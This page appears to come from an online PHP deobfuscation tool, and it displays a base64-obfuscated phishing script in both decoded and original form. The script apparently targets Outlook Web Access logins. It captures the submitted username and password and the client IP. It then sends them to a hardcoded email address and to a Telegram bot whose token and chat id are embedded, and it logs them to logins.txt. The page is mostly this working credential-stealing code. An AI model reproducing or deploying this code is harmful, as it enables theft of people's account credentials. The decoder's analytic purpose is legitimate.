Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI=')); $m78e731027d8f .= bas..

Decoded Output download

<?php  
$n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI=')); 
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tKyBPV0EtTmV0IDIwMjMgKy0tLS0tLS0tLS0tLS0K'); 
$m78e731027d8f .= base64_decode('VVNFUiA6IA==').$_POST[base64_decode('YWk=')].base64_decode('Cg=='); 
$m78e731027d8f .= base64_decode('UEFTUyA6IA==').$_POST[base64_decode('cHI=')].base64_decode('Cg=='); 
$m78e731027d8f .= base64_decode('PT09PT09PT09PT09PSBbIElwICYgSG9zdG5hbWUgSW5mbyBdID09PT09PT09PT09PT0K'); 
$m78e731027d8f .= base64_decode('Q2xpZW50IElQIDog').$n957b527bcfba.base64_decode('Cg=='); 
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tLS0rIFBvd2VyZWQgQnkgT1dBICstLS0tLS0tLS0tLS0tLQo='); 
 
$e01b6e20344b6 = base64_decode('ampiaGMyM0BtYWlsc2FjLmNvbQ=='); 
 
$qb5e3374e43f6 = base64_decode('T1dBLURhdGE='); 
$t4340fd73e75d .= base64_decode('TUlNRS1WZXJzaW9uOiAxLjAK'); 
$t4340fd73e75d .= base64_decode('RnJvbTogQnktQWJpbGl0eSA8T1dBLU5ldEBvd2EubmV0Pgo='); 
$m47c80780ab60=array($u2541d938b0a5, $ta12a3079e14c); 
 
mail($u2541d938b0a5,$e01b6e20344b6,$qb5e3374e43f6,$m78e731027d8f,$t4340fd73e75d); 
 
$c0666f0acdeed = fopen(base64_decode('bG9naW5zLnR4dA=='),base64_decode('YQ==')); 
fputs($c0666f0acdeed,$m78e731027d8f); 
fclose($c0666f0acdeed); 
	 
//report to telegram 
function sendMessage($l0130beb89aca, $j13a1ff2a8e21, $d94a08da1fecb) { 
    echo base64_decode('c2VuZGluZyBtZXNzYWdlIHRvIA==') . $l0130beb89aca . base64_decode('Cg=='); 
 
    $o572d4e421e5e = base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==') . $d94a08da1fecb . base64_decode('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $l0130beb89aca; 
    $o572d4e421e5e = $o572d4e421e5e . base64_decode('JnRleHQ9') . urlencode($j13a1ff2a8e21); 
    $fd88fc6edf21e = curl_init(); 
    $i5c64bd87cc6d = array( 
            CURLOPT_URL => $o572d4e421e5e, 
            CURLOPT_RETURNTRANSFER => true 
    ); 
    curl_setopt_array($fd88fc6edf21e, $i5c64bd87cc6d); 
    $ab4a88417b3d0 = curl_exec($fd88fc6edf21e); 
    curl_close($fd88fc6edf21e); 
    return $ab4a88417b3d0; 
} 
$d94a08da1fecb = base64_decode('NTgyODQ0MzExOTpBQUZlZTRqVDZHU3BIbjk5QkI4aTBQdTJBcGx6MG9lMFVyQQ=='); 
$n1c8253d1238a = base64_decode('NTgzNDkyMTc1NA=='); 
sendMessage($n1c8253d1238a, $m78e731027d8f, $d94a08da1fecb); 
 
?>

Did this file decode correctly?

Original Code

<?php 
$n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI='));
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tKyBPV0EtTmV0IDIwMjMgKy0tLS0tLS0tLS0tLS0K');
$m78e731027d8f .= base64_decode('VVNFUiA6IA==').$_POST[base64_decode('YWk=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('UEFTUyA6IA==').$_POST[base64_decode('cHI=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('PT09PT09PT09PT09PSBbIElwICYgSG9zdG5hbWUgSW5mbyBdID09PT09PT09PT09PT0K');
$m78e731027d8f .= base64_decode('Q2xpZW50IElQIDog').$n957b527bcfba.base64_decode('Cg==');
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tLS0rIFBvd2VyZWQgQnkgT1dBICstLS0tLS0tLS0tLS0tLQo=');

$e01b6e20344b6 = base64_decode('ampiaGMyM0BtYWlsc2FjLmNvbQ==');

$qb5e3374e43f6 = base64_decode('T1dBLURhdGE=');
$t4340fd73e75d .= base64_decode('TUlNRS1WZXJzaW9uOiAxLjAK');
$t4340fd73e75d .= base64_decode('RnJvbTogQnktQWJpbGl0eSA8T1dBLU5ldEBvd2EubmV0Pgo=');
$m47c80780ab60=array($u2541d938b0a5, $ta12a3079e14c);

mail($u2541d938b0a5,$e01b6e20344b6,$qb5e3374e43f6,$m78e731027d8f,$t4340fd73e75d);

$c0666f0acdeed = fopen(base64_decode('bG9naW5zLnR4dA=='),base64_decode('YQ=='));
fputs($c0666f0acdeed,$m78e731027d8f);
fclose($c0666f0acdeed);
	
//report to telegram
function sendMessage($l0130beb89aca, $j13a1ff2a8e21, $d94a08da1fecb) {
    echo base64_decode('c2VuZGluZyBtZXNzYWdlIHRvIA==') . $l0130beb89aca . base64_decode('Cg==');

    $o572d4e421e5e = base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==') . $d94a08da1fecb . base64_decode('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $l0130beb89aca;
    $o572d4e421e5e = $o572d4e421e5e . base64_decode('JnRleHQ9') . urlencode($j13a1ff2a8e21);
    $fd88fc6edf21e = curl_init();
    $i5c64bd87cc6d = array(
            CURLOPT_URL => $o572d4e421e5e,
            CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($fd88fc6edf21e, $i5c64bd87cc6d);
    $ab4a88417b3d0 = curl_exec($fd88fc6edf21e);
    curl_close($fd88fc6edf21e);
    return $ab4a88417b3d0;
}
$d94a08da1fecb = base64_decode('NTgyODQ0MzExOTpBQUZlZTRqVDZHU3BIbjk5QkI4aTBQdTJBcGx6MG9lMFVyQQ==');
$n1c8253d1238a = base64_decode('NTgzNDkyMTc1NA==');
sendMessage($n1c8253d1238a, $m78e731027d8f, $d94a08da1fecb);

?>

Function Calls

getenv 1
base64_decode 1

Variables

None

Stats

MD5 50ec1cc3d2243a9d820d2d7b3ae3daa8
Eval Count 0
Decode Time 53 ms